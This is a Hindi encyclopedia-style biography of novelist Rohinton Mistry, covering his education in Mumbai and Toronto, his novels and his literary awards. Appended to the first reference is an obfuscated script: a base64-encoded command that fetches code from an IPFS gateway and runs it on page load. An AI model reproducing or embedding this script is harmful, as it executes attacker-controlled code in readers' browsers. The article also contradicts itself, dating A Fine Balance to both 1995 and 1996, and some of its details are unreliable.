रोहिंटन मिस्त्री

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रोहिंटन मिस्त्री

रोहिंटन मिस्त्री अथवा 'रोहिंतों मिस्त्री' (अंग्रेज़ी: Rohinton Mistry, जन्म- 3 जुलाई, 1952, मुंबई, महाराष्ट्र) प्रख्यात भारतीय कैनेडियन उपन्यासकार हैं। उन्होंने केवल तीन उपन्यास लिखे हैं और तीनों बार बुकर्स के लिए नामांकित हुए हैं। 'सच अ लांग जर्नी' जो 1991 में सूची में शामिल हुआ था, वह अधिक चर्चा में रहा। जब इसे मुंबई विश्वविद्यालय के पाठ्यक्रम से निकाल दिया गया था। दूसरी पुस्तक 'अ फाइन बैलेंस' (1996) सफलतापूर्वक प्रकाशित हुई। मिस्त्री का तीसरा और अंतिम उपन्यास 'फेमिली मैटर्स' (2002) था।

जन्म व शिक्षा

रोहिंटन मिस्त्री मुख्य रूप से भारतीय मूल के हैं, लेकिन वर्तमान में वह ब्रैंपटन ओण्टारियो, कनाडा में रहते हैं। वे पारसी समुदाय और पारसीवाद प्रथाओं से संबंधित हैं। रोहिंटन मिस्त्री का जन्म 3 जुलाई सन् 1952 को मुंबई, महाराष्ट्र, भारत में हुआ था। मिस्त्री ने मुंबई विश्वविद्यालय से गणित और अर्थशास्त्र से स्नातक की उपाधि प्राप्त की थी। सन् 1975 में वे अपनी पत्नी के साथ कनाडा के टोरंटो नगर में रहने लगे और जहाँ उन्होंने टोरंटो विश्वविद्यालय से अंग्रेजी और दर्शनशास्त्र में बीए किया।[1]

पुरस्कार

रोहिंटन मिस्त्री को टोरंटो विश्वविद्यालय (वुडसवर्थ कॉलेज) में हर्ट हाउस रिव्यू और 1985 की कैनेडियन फिक्शन मैगजीन में प्रकाशित कहानियों के लिए वार्षिक योगदानकर्ता पुरस्कार में दो बार हार्ट हाउस साहित्यिक पुरस्कार[2] प्रदान किये गये थे। दो वर्ष बाद, पेंगुइन बुक्स कनाडा ने उनकी फिरोजशा बाग की दास्तां जैसी 11 लघु कथाओं के संग्रह को प्रकाशित किया था। इसके बाद में यह संयुक्त राज्य अमेरिका में स्वामिंग लेसन तथा फिरोजशा बाग से लघु कथाएं के रूपों में प्रकाशित हुई। सन् 1991 में रोहिंटन मिस्त्री की दूसरी पुस्तक 'सच ए लांग जर्नी' प्रकाशित हुई। इस उपन्यास को गवर्नर जर्नल्स अवार्ड, कनाडा का पहला नॉवेल अवार्ड, डब्लू.एच स्मिथ/किताब और सर्वश्रेष्ठ पुस्तक के लिए राष्ट्रमंडल लेखक पुरस्कार से सम्मानित किया गया। इस पुस्तक को प्रसिद्ध बुकर पुरस्कार और ट्रिलियम अवॉर्ड के लिए भी चुना गया था। इस पुस्तक का अनुवाद जर्मन, स्वीडिश, नार्वे, डेनिश और जापानी भाषा में किया गया है। इस पुस्तक पर आधारित एक फिल्म भी बनाई गई थी।

1995 में उनकी तीसरी किताब और दूसरा उपन्यास 'ए फिन बैलेंस' प्रकाशित हुआ। इस उपन्यास ने 1995 में द्वितीय वार्षिक गिलर पुरस्कार और 1996 में 'लॉस एंजिल्स टाइम्स बुक फिक्शन पुरस्कार' जीता था। इसे नवंबर 2001 में, ओपरा के बुक क्लब के लिए चुना गया और उत्तर अमेरिका में इस पुस्तक की हजारों अतिरिक्त प्रतियां भी बेची गईं। इसने 1996 का 'राष्ट्रमंडल लेखक पुरस्कार' जीता था और 1996 के बुकर पुरस्कार के लिए भी संक्षिप्त रूप से सूचीबद्ध किया गया था। रोहिंटन मिस्त्री की 2008 में प्रकाशित हुई एक लघु उपन्यास, ‘द स्क्रीम’ एक अलग तरह की पुस्तक थी, जिसमें टोनी उर्कहार्ट चित्रों के साथ कनाडा की विश्व साक्षरता के समर्थन में प्रदर्शित किया गया था। रोहिंटन मिस्त्री की किताबें भारतीय सामाजिक-आर्थिक जीवन के विभिन्न पहलुओं, जैसे- जीवन, रीति रिवाज और धर्म आदि पहृलुओं को उजागर करती हैं। मिस्त्री के कई कृतियाँ 'इंडो-नोस्टलाजी' का प्रतीक हैं और उनके साहित्यिक लेखों को न्यूयॉर्क विश्वविद्यालय के क्लारा थॉमस अभिलेखागार में संरक्षित किया गया है। साहित्य पुरस्कार विजेता होने के नाते 2012 में मिस्त्री को एक 'नूस्टाडट अंतर्राष्ट्रीय पुरस्कार' भी मिला था।


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टीका टिप्पणी और संदर्भ

  1. रोहिंटन मिस्त्री की जीवनी (हिंदी) hindi.mapsofindia। अभिगमन तिथि: 12 जनवरी, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. वह दो पुरस्कार जीतने वाले पहले लेखक थे।

बाहरी कड़ियाँ

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